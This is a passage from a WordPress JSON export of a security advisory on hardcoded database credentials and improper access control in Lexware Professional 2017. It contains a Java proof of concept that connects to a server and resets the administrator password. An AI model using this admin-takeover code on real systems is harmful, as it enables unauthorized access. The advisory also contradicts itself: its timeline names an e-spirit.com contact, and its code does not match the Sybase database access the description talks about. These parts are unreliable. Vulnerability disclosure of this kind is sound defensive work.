: Fixed<\/span><\/p>\n<\/h3>\nDescription<\/h3>\n
Access control enforces policy such that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure, modification or destruction of all data, or performing a business function outside of the limits of the user.<\/p>\n
The Lexware client communicates with the underlying database with a default account. The application relies on a database (Sybase, SQL Anywhere) for storing relevant data. It is possible to connect directly to the database with the default credentials provided in the proof of concept section. The key factor to be highlighted at this point is not just the existence of hardcoded database credentials, but also the unavailability of alternate options to change the credentials required to connect to the database. In plain words, an attacker could connect to any existing Lexware database.<\/p>\n
<\/span><\/p>\nProof of Concept\u00a0<\/h3>\n
Generic example case:<\/span><\/p>\n[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]public static void main(String[] args) throws Exception {
\nConnectionManager.setProxy((Proxy) null);
\nConnectionManager.setCompression((byte) 0);
\nConnectionManager.setEncryption((byte) 2);
\nConnectionManager.setUseHttps(false);<\/p>\n
ServerConnection c = (ServerConnection) ConnectionManager.getConnection(\"\", 8000, 1, \"user\", \"password\");
\nc.connect();<\/p>\n
UserManager userManager = c.getManager(UserManager.class);
\nUserDTO admin = userManager.getAdminUser();
\nadmin.setPassword(\"test\");
\nuserManager.updateUserData(admin);
\n}<\/code><\/pre>\n
[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n
\n
\n
Fix<\/h3>\n
Access to sensitive functions should be avoided. Necessary access should be protected by authentication and a global access control explicitly.<\/p>\n
<\/h3>\nTimeline<\/h3>\n\n- 2018-04-04 First contact request via info@e-spirit.com<\/li>\n
- 2018-04-24 Send vulnerabilities to vendor<\/li>\n
- 2018-05-15 Vendor releases a patch to fix the vulnerabilities<\/li>\n
- 2018-07-06 Security advisory released<\/li>\n<\/ul>\n
<\/h3>\nCredits<\/h3>\n
This security vulnerabilities were found by Sebastian Puttkammer of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"
usd-2018-0013 | Lexware Professional 2017 \/Version 17.02 Advisory ID: usd-2018-0013CVE Number: N\/AAffected Product: Lexware Professional 2017Affected Version: Version 17.02Vulnerability Type: Improper Access ControlSecurity Risk: CriticalVendor URL: https:\/\/shop.lexware.de\/reisekosten-abrechnungVendor Status: Fixed Description Access control enforces policy such that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure, modification or destruction of […]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16548","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16548","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16548"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16548\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16548"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}